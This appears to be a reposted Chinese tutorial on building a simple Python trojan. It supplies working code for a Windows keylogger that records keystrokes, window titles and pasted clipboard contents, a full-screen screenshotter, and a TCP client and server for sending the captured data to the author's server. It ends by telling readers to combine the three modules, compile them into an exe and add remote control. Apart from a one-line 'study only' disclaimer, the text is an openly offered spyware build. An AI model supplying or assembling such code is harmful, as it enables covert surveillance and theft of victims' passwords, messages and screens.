Python编写简易木马程序
0x00 準(zhǔn)備
文章內(nèi)容僅供學(xué)習(xí)研究、切勿用于非法用途!
這次我們使用Python編寫一個具有鍵盤記錄、截屏以及通信功能的簡易木馬。依然選用Sublime text2 +JEDI(python自動補全插件)來擼代碼,安裝配置JEDI插件可以參照這里: http://drops.wooyun.org/tips/4413
首先準(zhǔn)備好我們需要的依賴庫,python hook和pythoncom。
下載安裝python hook
下載安裝pythoncom模塊:
http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe/download
如果覺得麻煩,你可以直接使用集成了所有我們所需要的python庫的商業(yè)版Activepython(我們可以用他的免費版):
http://www.activestate.com/activepython
0x01 鍵盤記錄器
說起Keylogger,大家的思維可能早已飛向帶有wifi功能的mini小硬件去了。拋開高科技,我們暫且回歸本質(zhì),探探簡易鍵盤記錄器的原理與實現(xiàn)。
Python keylogger鍵盤記錄的功能的實現(xiàn)主要利用了pythoncom及pythonhook,然后就是對windows API的各種調(diào)用。Python之所以用起來方便快捷,主要歸功于這些龐大的支持庫,正所謂“人生苦短,快用Python”。
代碼部分:
# -*- coding: utf-8 -*- from ctypes import * import pythoncom import pyHook import win32clipboarduser32 = windll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = None# def get_current_process():# 獲取最上層的窗口句柄hwnd = user32.GetForegroundWindow()# 獲取進(jìn)程IDpid = c_ulong(0)user32.GetWindowThreadProcessId(hwnd,byref(pid))# 將進(jìn)程ID存入變量中process_id = "%d" % pid.value# 申請內(nèi)存executable = create_string_buffer("\x00"*512)h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)# 讀取窗口標(biāo)題windows_title = create_string_buffer("\x00"*512)length = user32.GetWindowTextA(hwnd,byref(windows_title),512)# 打印print print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)print # 關(guān)閉handleskernel32.CloseHandle(hwnd)kernel32.CloseHandle(h_process)# 定義擊鍵監(jiān)聽事件函數(shù) def KeyStroke(event):global current_window# 檢測目標(biāo)窗口是否轉(zhuǎn)移(換了其他窗口就監(jiān)聽新的窗口)if event.WindowName != current_window:current_window = event.WindowName# 函數(shù)調(diào)用get_current_process()# 檢測擊鍵是否常規(guī)按鍵(非組合鍵等)if event.Ascii > 32 and event.Ascii <127:print chr(event.Ascii),else:# 如果發(fā)現(xiàn)Ctrl+v(粘貼)事件,就把粘貼板內(nèi)容記錄下來if event.Key == "V":win32clipboard.OpenClipboard()pasted_value = win32clipboard.GetClipboardData()win32clipboard.CloseClipboard()print "[PASTE]-%s" % (pasted_value),else:print "[%s]" % event.Key,# 循環(huán)監(jiān)聽下一個擊鍵事件return True# 創(chuàng)建并注冊hook管理器 kl = pyHook.HookManager() kl.KeyDown = KeyStroke# 注冊hook并執(zhí)行 kl.HookKeyboard() pythoncom.PumpMessages()【知識點】鉤子(Hook):Windows消息處理機(jī)制的一個平臺,應(yīng)用程序可以在上面設(shè)置子程以監(jiān)視指定窗口的某種消息,而且所監(jiān)視的窗口可以是其他進(jìn)程所創(chuàng)建的。
擼代碼時一定要注意嚴(yán)格區(qū)分大小寫。檢查無誤后啟動keylogger:
然后可以嘗試打開記事本寫點東西,過程中可以看到我們的keylogger窗口正在對我們的輸入實時記錄:
切換窗口時會自動跟蹤到新窗口(眾:這點功能都沒有還敢叫keylogger嗎!),light教授趁機(jī)騷擾一下瘋狗,可以看到我們的keylogger已經(jīng)跟蹤到QQ聊天窗口,并忠實的記錄下我輸入的一切。
0x02 看看你在干什么:編寫一個screenshotter
截屏實現(xiàn)起來更簡單,直接調(diào)用幾個gui相關(guān)的api即可,我們直接看代碼:
# -*- coding: utf-8 -*- import win32gui import win32ui import win32con import win32api# 獲取桌面 hdesktop = win32gui.GetDesktopWindow()# 分辨率適應(yīng) width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)# 創(chuàng)建設(shè)備描述表 desktop_dc = win32gui.GetWindowDC(hdesktop) img_dc = win32ui.CreateDCFromHandle(desktop_dc)# 創(chuàng)建一個內(nèi)存設(shè)備描述表 mem_dc = img_dc.CreateCompatibleDC()# 創(chuàng)建位圖對象 screenshot = win32ui.CreateBitmap() screenshot.CreateCompatibleBitmap(img_dc, width, height) mem_dc.SelectObject(screenshot)# 截圖至內(nèi)存設(shè)備描述表 mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)# 將截圖保存到文件中 screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp')# 內(nèi)存釋放 mem_dc.DeleteDC() win32gui.DeleteObject(screenshot.GetHandle())看看效果如何:
0x03 綜合運用:完成一個簡易木馬
無論是keylogger記錄下的內(nèi)容,還是screenshotter截獲的圖片,只存在客戶端是沒有太大意義的,我們需要構(gòu)建一個簡單server和client端來進(jìn)行通信,傳輸記錄下的內(nèi)容到我們的服務(wù)器上。
編寫一個簡單的TCPclient
# -*- coding: utf-8 -*- import socket# 目標(biāo)地址IP/URL及端口 target_host = "127.0.0.1" target_port = 9999# 創(chuàng)建一個socket對象 client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)# 連接主機(jī) client.connect((target_host,target_port))# 發(fā)送數(shù)據(jù) client.send("GET / HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n")# 接收響應(yīng) response = client.recv(4096)print response編寫一個簡單的TCPserver
# -*- coding: utf-8 -*- import socket import threading# 監(jiān)聽的IP及端口 bind_ip = "127.0.0.1" bind_port = 9999server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)server.bind((bind_ip,bind_port))server.listen(5)print "[*] Listening on %s:%d" % (bind_ip,bind_port)def handle_client(client_socket):request = client_socket.recv(1024)print "[*] Received:%s" % requestclient_socket.send("ok!")client_socket.close()while True:client,addr = server.accept()print "[*] Accept connection from:%s:%d" % (addr[0],addr[1])client_handler = threading.Thread(target=handle_client,args=(client,))client_handler.start()開啟服務(wù)端監(jiān)聽:
客戶端執(zhí)行:
服務(wù)端接收到客戶端的請求并作出響應(yīng):
0x04 結(jié)語
最后,你需要做的就是把上面三個模塊結(jié)合起來,一個簡易的具有鍵盤記錄、屏幕截圖并可以發(fā)送內(nèi)容到我們服務(wù)端的木馬就完成了。可以使用py2exe把腳本生成exe可執(zhí)行文件。當(dāng)然你還可以繼續(xù)發(fā)揮,加上遠(yuǎn)程控制功能。Py2exe用法可以參考這里:
http://www.py2exe.org/index.cgi/Tutorial
Enjoy coding~
總結(jié)
以上是生活随笔為你收集整理的Python编写简易木马程序的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python网络编程实例简析
- 下一篇: 我所理解的设计模式(C++实现)—— “